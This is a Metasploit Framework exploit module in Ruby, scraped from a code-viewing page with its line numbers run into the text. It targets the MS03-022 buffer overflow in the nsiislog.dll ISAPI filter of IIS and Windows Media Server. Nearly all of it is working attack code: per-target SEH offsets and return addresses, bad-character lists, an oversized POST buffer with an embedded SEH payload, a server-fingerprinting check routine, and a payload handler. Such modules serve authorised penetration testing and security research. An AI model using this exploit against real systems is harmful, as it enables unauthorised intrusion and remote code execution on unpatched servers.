Path: blob/master/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::BruteTargets10include Msf::Exploit::Remote::Seh1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',17'Description' => %q{18This exploits a buffer overflow found in the nsiislog.dll19ISAPI filter that comes with Windows Media Server. This20module will also work against the 'patched' MS03-01921version. This vulnerability was addressed by MS03-022.22},23'Author' => [ 'hdm' ],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2003-0349'],27[ 'OSVDB', '4535'],28[ 'BID', '8035'],29[ 'MSB', 'MS03-022'],30[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],31],32'Privileged' => false,33'Payload' => {34'Space' => 1024,35'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",36'StackAdjustment' => -3500,3738},39'Platform' => 'win',40'Targets' => [41# SEH offsets by version (Windows 2000)42# 4.1.0.3917 = 999243# 4.1.0.3920 = 999244# 4.1.0.3927 = 999245# 4.1.0.3931 = 140924647['Brute Force', {}],48['Windows 2000 -MS03-019', { 'Rets' => [ 9988, 0x40f01333 ] }],49['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],50['Windows XP -MS03-019', { 'Rets' => [ 9992, 0x40f011e0 ] }],51],52'DisclosureDate' => '2003-06-25',53'DefaultTarget' => 0,54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options(63[64OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),65]66)67end6869def check70res = send_request_raw({71'uri' => normalize_uri(datastore['URL'])72}, -1)7374if (res and res.body =~ /NetShow ISAPI/)75return Exploit::CheckCode::Detected76end7778return Exploit::CheckCode::Safe79end8081def exploit_target(target)82# Create a buffer greater than max SEH offset (16384)83pst = rand_text_alphanumeric(256) * 648485# Create SEH frame and insert into buffer86seh = generate_seh_payload(target['Rets'][1])87pst[target['Rets'][0], seh.length] = seh8889# Send it to the server90print_status("Sending request...")91res = send_request_cgi({92'uri' => normalize_uri(datastore['URL']),93'method' => 'POST',94'user-agent' => 'NSPlayer/2.0',95'content-type' => 'application/x-www-form-urlencoded',96'data' => pst97}, 5)9899select(nil, nil, nil, 1)100101handler102disconnect103end104end105106107